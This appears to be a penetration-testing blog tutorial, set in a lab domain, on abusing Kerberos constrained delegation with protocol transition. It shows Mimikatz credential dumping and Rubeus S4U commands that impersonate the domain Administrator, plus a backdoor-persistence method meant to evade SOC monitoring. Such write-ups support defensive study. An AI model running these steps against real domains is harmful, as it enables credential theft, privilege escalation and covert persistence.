Kerberos constrained delegation with protocol transition


    Today, we are talking about the exploitation of Kerberos protocol extensions S4U2Self and S4U2Proxy in order to impersonate a privileged user of the domain.

    This post aims at focusing on the Kerberos constrained delegation with protocol transition which we will shorten T2A4D (TrustedToAuthForDelegation); how to enumerate it, how to exploit it and use it as a method of persistence.
    To not reinvent the wheel, you will find a very good article introducing the kerberos delegation on the blog hackndo.

    Implementation of the constrained delegation with protocol transition + msDS-AllowedToDelegateTo


    There are two methods to benefit from the Active Directory cmdlets:

    1. Get-WindowsCapability -Name Rsat.ActiveDirectory* -Online | Add-WindowsCapability -Online
      N.B: can also be done offline thanks to the downloadable iso


    srv$ is a machine account of the domain.

    Get-ADComputer -Identity srv | Set-ADAccountControl -TrustedToAuthForDelegation $True
    Set-ADComputer -Identity srv -Add @{'msDS-AllowedToDelegateTo'=@('TIME/DC.WINDOMAIN.LOCAL','TIME/DC')}

    or through GUI:

    Note that the constrained delegation can also be based on the resource (property msds-allowedtoactonbehalfofotheridentity).
    Indeed, it seems more consistent to give legitimacy to a resource to decide which other resource can access it. We will come back to this later.

    Let’s get our hands dirty.


    The first interesting thing is to be able to list the service accounts affected by T2A4D :

    PS C:\tools> Get-ADObject -LDAPFilter "(useraccountcontrol:1.2.840.113556.1.4.803:=16777216)" -Properties distinguishedName,samAccountName,samAccountType,userAccountControl,msDS-AllowedToDelegateTo,servicePrincipalName | fl
    serviceprincipalname     : {WSMAN/SRV, WSMAN/SRV.windomain.local, TERMSRV/SRV, TERMSRV/SRV.windomain.local...}
    msds-allowedtodelegateto : {TIME/DC, TIME/DC.WINDOMAIN.LOCAL}
    distinguishedname        : CN=SRV,CN=Computers,DC=windomain,DC=local
    samaccountname           : SRV$
    samaccounttype           : MACHINE_ACCOUNT

    The tool Invoke-Recon will find it all for you.

    Attack scenario

    We are going to compromise a machine srv$ with the attribute useraccountcontrol with the value trusted_to_auth_for_delegation.


    The machine srv$ runs a service SA on which a user whatever authenticates using another mechanism than Kerberos (e.g. a web application with NTLM or basic authentication). In this case, SA (or the web application) did not get any service ticket proving authentication from whatever to SA. This service ticket is normally used by the S4U2Proxy mechanism in order to carry out the classical constrained delegation.

    This is where the constrained delegation with protocol transition comes in. The latter will still allow the “double jump” and allow SA to request a service ticket for SB by taking the identity of the user whatever.

    SB is either in the msDS-AllowedToDelegateTo field of SA:

    Or SA is in the msDS-AllowedToActOnBehalfOfOtherIdentity field of SB (Resource-Based Constrained Delegation).

    This delegation will involve the protocol extensions ServiceForUserToSelf and ServiceForUserToProxy :

    1. S4U2Self will simulate the kerberos authentication and thus the service ticket request for the user whatever.
      SA will somehow request a service ticket for itself for an arbitrary user.
      The result is a forwardable T_SA service ticket that can then be passed to the S4U2Proxy mechanism, the latter used for classical constrained delegation.

      Please note that the forwardable flag is necessary and will be set if the delegating service account SA is marked as TRUSTED_TO_AUTH_FOR_DELEGATION.

    2. S4U2Proxy will use T_SA as a proof of whatever authentication to SA in order to obtain a forwarded service ticket for SB.

    3. The arbitrary user whatever connects to the service SB.


    The S4U2Proxy mechanism will need a "forwardable" service ticket.

    Since KB4598347, the KDC will no more check the forwadable flag in the provided service ticket PAC but will directly look into the directory for the following conditions to be met to allow the S4U2Proxy mechanism ;

    - Is the "delegating" service legit to delegate (so here is SA marked as TRUSTED_TO_AUTH_FOR_DELEGATION) ?
    - Is the "delegated" account (impersonated user) not a member of the Protected Users group and is not marked as "Account is sensitive and cannot be delegated" (NOT_DELEGATED), so is the account allowed to be delegated ?

    If you heard about the Resource-Based Constrained Delegation attack (RBCD), you can wonder why if a trustee has the writeProperty right on a computer account it is so bad ?

    Ok so first of all you can write the msds-AllowedToActOnBehalfOfOtherIdentity property with the SID of a principal you control, but ;

    - Is this principal, the one that you just added to "msds-AllowedToActOnBehalfOfOtherIdentity", marked as TRUSTED_TO_AUTH_FOR_DELEGATION, so are you really legit to delegate your impersonated user ?

    In many cases this principal is not marked as TRUSTED_TO_AUTH_FOR_DELEGATION and you can not set this value as we will see later if you are not a privileged domain user.

    So why the S4U2Proxy is still working for the RBCD ? ; for this special case of Resource-Based Constrained Delegation, it seems that the KDC only checks if the delegated user is OK to be delegated (not protected users, not NOT_DELEG), but the service (or here the principal which you edited the "msds-AllowedToActOnBehalfOfOtherIdentity" property) is not checked anymore to be legit to delegate (is it marked as TRUSTED_TO_AUTH_FOR_DELEGATION ?, aka T2A4D).

    And why this is so interesting, because Microsoft decided that this is a feature, not a bug, so as a consequence this attack (RBCD) is still working on a fully patched Windows Server 2019 domain controller.

    Now let’s get back to our scenario, if the T2A4D service account running SA has been compromised, we can generate a T_SA for an arbitrary account (Domain Administrator) for an authorized service (msDS-AllowedToDelegateTo or msds-AllowedToActOnBehalfOfOtherIdentity if resource-based).

    The SPNs being interchangeable (unencrypted part of the service ticket), it is possible to modify it by another SPN of the same service account (ex: using the service class CIFS, which gives us the SPN CIFS/DC instead of TIME/DC).

    We have to be able to delegate the impersonated account.

    It must be neither Protected Users, nor “Account is sensitive and cannot be delegated”.


    It will be necessary to first compile Rubeus (from the repo Rubeus, launch the project, “Build -> Build Solution”).

    It is assumed here that the srv$ machine has been compromised beforehand. Let’s find out its credentials:

    C:\tools> C:\tools\Mimikatz\x64\mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit"
      .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
     .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
     ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
     ## \ / ##       >
     '## v ##'       Vincent LE TOUX             ( [email protected] )
      '#####'        > / ***/
    mimikatz(commandline) # privilege::debug
    Privilege '20' OK
    mimikatz(commandline) # sekurlsa::logonPasswords
    Authentication Id : 0 ; 19484783 (00000000:0129506f)
    Session           : Interactive from 2
    User Name         : DWM-2
    Domain            : Window Manager
    Logon Server      : (null)
    Logon Time        : 9/25/2020 10:06:29 AM
    SID               : S-1-5-90-0-2
            msv :
             [00000003] Primary
             * Username : srv$
             * Domain   : WINDOMAIN
             * NTLM     : b5858035cb595dd82050f9193b220232
             * SHA1     : b7607fdc98a40ae1cfb47478b8d929139d18f6cb
            tspkg :
            wdigest :
             * Username : SRV$
             * Domain   : WINDOMAIN
             * Password : (null)
            kerberos :
             * Username : SRV$
             * Domain   : windomain.local
             * Password : HXEq%dCV$Qp0`b-:LE,zT]x%Sl&G_n8C1eP(aIymKGM-d^E;J5>$uj*0? &duWc:"$tL$KtkJuqE+t[[email protected]$#YA:O$Bh<%[email protected] ,i6q^JK=q9bV:Ue?Y
            ssp :
            credman :

    Now we need to unroll the S4U to generate a service ticket, not for TIME/DC, but for CIFS/DC for the WINDOMAIN\Administrator user.

    Let’s check that the share \\DC\C$ is refused to us:

    C:\tools>dir \\DC\C$
    Access is denied.

    First, we request a TGT for the compromised service account srv$:

    C:\tools> C:\tools\Rubeus\Rubeus-master\Rubeus\bin\Debug\rubeus.exe asktgt /user:srv$ /domain:windomain.local /ntlm:b5858035cb595dd82050f9193b220232 /outfile:srv.tgt
       ______        _
      (_____ \      | |
       _____) )_   _| |__  _____ _   _  ___
      |  __  /| | | |  _ \| ___ | | | |/___)
      | |  \ \| |_| | |_) ) ____| |_| |___ |
      |_|   |_|____/|____/|_____)____/(___/
    [*] Action: Ask TGT
    [*] Using rc4_hmac hash: b5858035cb595dd82050f9193b220232
    [*] Building AS-REQ (w/ preauth) for: 'windomain.local\srv$'
    [+] TGT request successful!
    [*] base64(ticket.kirbi):
    [*] Ticket written to srv.tgt
      ServiceName           :  krbtgt/windomain.local
      ServiceRealm          :  WINDOMAIN.LOCAL
      UserName              :  srv$
      UserRealm             :  WINDOMAIN.LOCAL
      StartTime             :  9/25/2020 6:05:07 PM
      EndTime               :  9/26/2020 4:05:07 AM
      RenewTill             :  10/2/2020 6:05:07 PM
      Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
      KeyType               :  rc4_hmac
      Base64(key)           :  +tOIJhvW49dlmW3XdmSWGw==

    Then this TGT will allow us to initiate the S4U2Self. Then the S4U2Proxy will intervene as explained previously for the CIFS service (be aware of /altservice:cifs) :

    C:\tools> C:\tools\Rubeus\Rubeus-master\Rubeus\bin\Debug\rubeus.exe s4u /ticket:srv.tgt /msdsspn:TIME/DC /impersonateuser:Administrator /domain:windomain.local /altservice:CIFS /ptt
       ______        _
      (_____ \      | |
       _____) )_   _| |__  _____ _   _  ___
      |  __  /| | | |  _ \| ___ | | | |/___)
      | |  \ \| |_| | |_) ) ____| |_| |___ |
      |_|   |_|____/|____/|_____)____/(___/
    [*] Action: S4U
    [*] Action: S4U
    [*] Using domain controller: dc.windomain.local (
    [*] Building S4U2self request for: '[email protected]'
    [*] Sending S4U2self request
    [+] S4U2self success!
    [*] Got a TGS for '[email protected]' to '[email protected]'
    [*] base64(ticket.kirbi):
    [+] Ticket successfully imported!
    [*] Impersonating user 'Administrator' to target SPN 'TIME/DC'
    [*]   Final ticket will be for the alternate service 'cifs'
    [*] Using domain controller: dc.windomain.local (
    [*] Building S4U2proxy request for service: 'TIME/DC'
    [*] Sending S4U2proxy request
    [+] S4U2proxy success!
    [*] Substituting alternative service name 'cifs'
    [*] base64(ticket.kirbi) for SPN 'cifs/dc':
    [+] Ticket successfully imported!

    We do have our service ticket for CIFS/DC in the name of WINDOMAIN\Administrator :

    C:\tools> klist
    #1>     Client: Administrator @ WINDOMAIN.LOCAL
            Server: cifs/dc @ WINDOMAIN.LOCAL
            KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
            Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
            Start Time: 9/25/2020 18:05:46 (local)
            End Time:   9/26/2020 4:05:07 (local)
            Renew Time: 10/2/2020 18:05:07 (local)
            Session Key Type: AES-128-CTS-HMAC-SHA1-96
            Cache Flags: 0
            Kdc Called:

    Let’s test it out:

    C:\tools>dir \\DC\C$
     Volume in drive \\DC\C$ is Windows 2019
     Volume Serial Number is 28C8-9A14
     Directory of \\DC\C$
    09/27/2020  08:50 AM    <DIR>          PerfLogs
    09/27/2020  08:06 AM    <DIR>          Program Files
    09/27/2020  08:00 AM    <DIR>          Program Files (x86)
    10/20/2020  01:07 PM    <DIR>          tmp
    09/27/2020  08:00 AM    <DIR>          Users
    10/20/2020  01:26 PM    <SYMLINKD>     vagrant [\\vboxsvr\vagrant]
    10/20/2020  01:10 PM    <DIR>          Windows
                   0 File(s)              0 bytes
                   7 Dir(s)  36,839,563,264 bytes free


    To set the TRUSTED_TO_AUTH_FOR_DELEGATION attribute, we need the SeEnableDelegationPrivilege.

    Fortunately Microsoft protect any user from setting this flag unless they are listed in the User Rights Assignment setting “Enable computer and user accounts to be trusted for delegation” (SeEnableDelegationPrivilege) on the Domain Controller. So by default only members of BUILTIN\Administrators (i.e. Domain Admins/Enterprise Admins) have the right to modify these delegation settings.

    An interesting persistence method consists, from a compromised user with the SeEnableDelegationPrivilege privilege, in setting the TRUSTED_TO_AUTH_FOR_DELEGATION value on another lambda compromised user that can be delegated, and to edit the mDS-AllowedToDelegateTo field with the SPN CIFS/DC for example, allowing to replay the attack.

    T2A4D on an arbitrary domain user

    You have compromised a privileged user, however the protected groups are supervised by the SOC, they have their security descriptors reset by the SDProp mechanism (AdminSDHolder), etc, so many elements that make you say that you would like to backdoor a user who can spend as much time as possible under the radars (let’s hope however that a delegation to a DC is supervised by the SOC).

    Let’s play this method in our lab. The bleponge user is the most banal domain user, admin01 is what you have been sweating for the last few days:

    PS C:\> WMIC OS Get Name
    Microsoft Windows 10 Education N|C:\Windows|\Device\Harddisk0\Partition2
    PS C:\> whoami
    PS C:\> net user admin01 /domain | Select-String "Group"
    Local Group Memberships
    Global Group memberships     *Domain Users         *Domain Admins
    PS C:\> net user bleponge /domain | Select-String "Group"
    Local Group Memberships
    Global Group memberships     *Domain Users
    PS C:\> Get-ADObject -Identity bleponge -Properties distinguishedName,samAccountName,samAccountType,userAccountControl,msDS-AllowedToDelegateTo,servicePrincipalName | fl
    useraccountcontrol : NORMAL_ACCOUNT
    distinguishedname  : CN=Bob ble. Leponge,CN=Users,DC=windomain,DC=local
    samaccountname     : bleponge
    samaccounttype     : USER_OBJECT
    PS C:\> Get-ADUser -Identity bleponge | Set-ADAccountControl -TrustedToAuthForDelegation $True
    PS C:\> Set-ADUSer -Identity bleponge -Add @{'msDS-AllowedToDelegateTo'=@('CIFS/DC.WINDOMAIN.LOCAL','CIFS/DC')}
    PS C:\> Set-ADObject -Identity bleponge -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
    PS C:\> Get-ADObject -Identity bleponge -Properties distinguishedName,samAccountName,samAccountType,userAccountControl,msDS-AllowedToDelegateTo,servicePrincipalName | fl
    serviceprincipalname     : nonexistent/BLAHBLAH
    msds-allowedtodelegateto : {CIFS/DC, CIFS/DC.WINDOMAIN.LOCAL}
    distinguishedname        : CN=Bob ble. Leponge,CN=Users,DC=windomain,DC=local
    samaccountname           : bleponge
    samaccounttype           : USER_OBJECT

    Take care with the command Set-ADObject -Identity bleponge -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}.
    Indeed, in order for the S4U2Self mechanism to work with Rubeus, a SPN must be set on the bleponge user, otherwise an exception will be propagated:

    [!] Unhandled Rubeus exception:
    System.NullReferenceException: Object reference not set to an instance of an object.
       at Rubeus.S4U.S4U2Proxy(KRB_CRED kirbi, String targetUser, String targetSPN, String outfile, Boolean ptt, String domainController, String altService, KRB_CRED tgs, Boolean opsec)
       at Rubeus.S4U.Execute(KRB_CRED kirbi, String targetUser, String targetSPN, String outfile, Boolean ptt, String domainController, String altService, KRB_CRED tgs, String targetDomainController, String targetDomain, Boolean s, Boolean opsec, String requestDomain, String impersonateDomain)
       at Rubeus.Commands.S4u.Execute(Dictionary`2 arguments)
       at Rubeus.Domain.CommandCollection.ExecuteCommand(String commandName, Dictionary`2 arguments)
       at Rubeus.Program.MainExecute(String commandName, Dictionary`2 parsedArgs)

    Now all you have to do is to go back to our Exploitation section and to reproduce the attack in the context of our bleponge user.

    Testing with the HOST service class (HOST/DC), it was impossible for us to list our share \\DC\C$. This has already been encountered by pixis.


    We can also create a backdoor for a user by assigning him the SeEnableDelegationPrivilege, so that this user can set the TRUSTED_TO_AUTH_FOR_DELEGATION on another resource. However, we will also need the necessary rights to write the msDS-AllowedToDelegateTo field.

    The End

    Feel free to comment / ask your questions. You can also contact me on Twitter.

    See you soon.